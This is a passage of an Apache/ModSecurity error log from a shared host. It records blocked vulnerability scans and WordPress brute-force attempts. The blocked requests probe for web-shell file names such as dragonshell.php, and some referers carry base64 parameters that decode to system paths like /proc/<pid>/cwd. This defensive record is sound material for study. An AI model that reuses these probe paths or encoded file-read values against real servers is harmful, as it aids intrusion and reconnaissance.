"www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FiQAAAjw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:17.859826 2026] [security2:error] [pid 531155:tid 531316] [client 20.151.217.54:58117] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/drykl.php"] [unique_id "ai3wtSmiP80klyS0NnrjyAAAASk"] [Sat Jun 13 18:07:17.939790 2026] [security2:error] [pid 531797:tid 531938] [remote 17.22.245.199:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 199.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FpAACY0o"] [Sat Jun 13 18:07:17.958043 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:17.958459 2026] [access_compat:error] [pid 531155:tid 531185] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:18.002382 2026] [security2:error] [pid 531797:tid 532051] [client 20.151.217.54:58135] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/h2a2ck.php"] [unique_id "ai3wtsTA7b1mZrmcA-8FpgAAAkk"] [Sat Jun 13 18:07:18.055489 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:07:18.055815 2026] [access_compat:error] [pid 531155:tid 531206] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ0 [Sat Jun 13 18:07:18.085744 2026] [security2:error] [pid 531797:tid 531915] [remote 17.246.19.69:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wtsTA7b1mZrmcA-8FtQAChzM"] [Sat Jun 13 18:07:18.144950 2026] [security2:error] [pid 531797:tid 532039] [client 20.151.217.54:58144] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/777.php"] [unique_id "ai3wtsTA7b1mZrmcA-8FuwAAAj4"] [Sat Jun 13 18:07:18.151689 2026] [security2:error] [pid 531155:tid 531190] [remote 17.241.75.209:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 209.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wtimiP80klyS0NnrjzgABbyI"] [Sat Jun 13 18:07:18.216071 2026] [security2:error] [pid 531797:tid 532126] [client 191.234.188.123:27744] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/2468.php"] [unique_id "ai3wtsTA7b1mZrmcA-8FwAAAApE"] [Sat Jun 13 18:07:18.309953 2026] [security2:error] [pid 531155:tid 531384] [client 148.113.209.179:39432] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wtimiP80klyS0Nnrj0QAAAW0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:18.354695 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.60:41020] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:18.355154 2026] [access_compat:error] [pid 531797:tid 531942] [remote 57.141.14.60:41020] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:18.363444 2026] [security2:error] [pid 531797:tid 532079] [client 20.151.217.54:58118] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/s-axi.php"] [unique_id "ai3wtsTA7b1mZrmcA-8FxwAAAmU"] [Sat Jun 13 18:07:18.461544 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:18.461849 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:18.482970 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.98:21666] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:18.483422 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.98:21666] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:18.493152 2026] [security2:error] [pid 531797:tid 532101] [client 20.151.217.54:58182] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/wp-scanner.php"] [unique_id "ai3wtsTA7b1mZrmcA-8FzQAAAno"] [Sat Jun 13 18:07:18.537417 2026] [security2:error] [pid 531797:tid 532059] [client 148.113.209.179:39448] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wtsTA7b1mZrmcA-8F0AAAAlE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:18.548929 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:18.549376 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:18.570504 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.63:25324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:18.570812 2026] [access_compat:error] [pid 531797:tid 531912] [remote 57.141.14.63:25324] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:18.574663 2026] [security2:error] [pid 531155:tid 531229] [remote 17.241.219.18:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wtimiP80klyS0Nnrj2gABCkk"] [Sat Jun 13 18:07:18.579239 2026] [security2:error] [pid 531797:tid 532009] [client 191.233.234.186:53470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/wolf.php"] [unique_id "ai3wtsTA7b1mZrmcA-8F0wAAAiE"] [Sat Jun 13 18:07:18.595715 2026] [security2:error] [pid 531797:tid 532017] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/fprintf_variation_009.phpt"] [unique_id "ai3wtsTA7b1mZrmcA-8F1QAAAik"] [Sat Jun 13 18:07:18.633812 2026] [security2:error] [pid 531155:tid 531286] [client 20.151.217.54:58157] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/crgio.php"] [unique_id "ai3wtimiP80klyS0Nnrj3AAAAQs"] [Sat Jun 13 18:07:18.669697 2026] [access_compat:error] [pid 531797:tid 531898] [remote 74.7.242.16:57862] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjQyL2N3ZA== [Sat Jun 13 18:07:18.670136 2026] [access_compat:error] [pid 531797:tid 531898] [remote 74.7.242.16:57862] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTk4NjQyL2N3ZA== [Sat Jun 13 18:07:18.743991 2026] [security2:error] [pid 531797:tid 532037] [client 20.9.67.71:54577] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.pempaleh.com"] [uri "/x.php"] [unique_id "ai3wtsTA7b1mZrmcA-8F3AAAAjw"] [Sat Jun 13 18:07:18.782528 2026] [security2:error] [pid 531155:tid 531398] [client 20.151.217.54:58148] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/ops.php"] [unique_id "ai3wtimiP80klyS0Nnrj3gAAAXs"] [Sat Jun 13 18:07:18.823007 2026] [access_compat:error] [pid 531797:tid 531971] [remote 57.141.14.16:57724] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:18.823466 2026] [access_compat:error] [pid 531797:tid 531971] [remote 57.141.14.16:57724] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:18.901140 2026] [security2:error] [pid 531797:tid 532087] [client 191.234.188.123:63849] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/leuk.php"] [unique_id "ai3wtsTA7b1mZrmcA-8F4wAAAm0"] [Sat Jun 13 18:07:18.987805 2026] [security2:error] [pid 531155:tid 531302] [client 20.151.217.54:58131] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/fix.php"] [unique_id "ai3wtimiP80klyS0Nnrj4gAAARs"] [Sat Jun 13 18:07:18.999620 2026] [security2:error] [pid 531797:tid 531899] [remote 17.22.253.133:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wtsTA7b1mZrmcA-8F5wACgCM"] [Sat Jun 13 18:07:19.008210 2026] [access_compat:error] [pid 531797:tid 531989] [remote 57.141.14.86:42552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:19.008660 2026] [access_compat:error] [pid 531797:tid 531989] [remote 57.141.14.86:42552] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:19.041727 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo1OA== [Sat Jun 13 18:07:19.042034 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvNDo1OA== [Sat Jun 13 18:07:19.091294 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:07:19.091709 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:07:19.131694 2026] [security2:error] [pid 531797:tid 532052] [client 20.151.217.54:58139] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/htto.php"] [unique_id "ai3wt8TA7b1mZrmcA-8F7AAAAko"] [Sat Jun 13 18:07:19.255611 2026] [security2:error] [pid 531797:tid 532008] [client 20.151.217.54:58208] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/mg.php"] [unique_id "ai3wt8TA7b1mZrmcA-8F8QAAAiA"] [Sat Jun 13 18:07:19.271488 2026] [access_compat:error] [pid 531797:tid 531921] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:19.271853 2026] [access_compat:error] [pid 531797:tid 531921] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:19.389839 2026] [security2:error] [pid 531797:tid 532019] [client 20.151.217.54:58201] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/spawns.php"] [unique_id "ai3wt8TA7b1mZrmcA-8F-QAAAis"] [Sat Jun 13 18:07:19.528433 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:19.528728 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:19.583014 2026] [security2:error] [pid 531797:tid 532013] [client 20.151.217.54:58213] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/dragonshell.php"] [unique_id "ai3wt8TA7b1mZrmcA-8GAAAAAiU"] [Sat Jun 13 18:07:19.655297 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9tb3VzZTAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:19.655795 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9tb3VzZTAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:07:19.709002 2026] [security2:error] [pid 531797:tid 532090] [client 20.151.217.54:58112] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/samll.php"] [unique_id "ai3wt8TA7b1mZrmcA-8GBQAAAm8"] [Sat Jun 13 18:07:19.718582 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.76:53801] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:19.718918 2026] [access_compat:error] [pid 531797:tid 531906] [remote 57.141.14.76:53801] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:19.749185 2026] [security2:error] [pid 531155:tid 531262] [remote 17.22.237.40:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 40.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wtymiP80klyS0Nnrj8AABh2o"] [Sat Jun 13 18:07:19.841241 2026] [security2:error] [pid 531797:tid 532053] [client 20.151.217.54:58178] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/Cap.php"] [unique_id "ai3wt8TA7b1mZrmcA-8GCgAAAks"] [Sat Jun 13 18:07:19.923284 2026] [autoindex:error] [pid 531797:tid 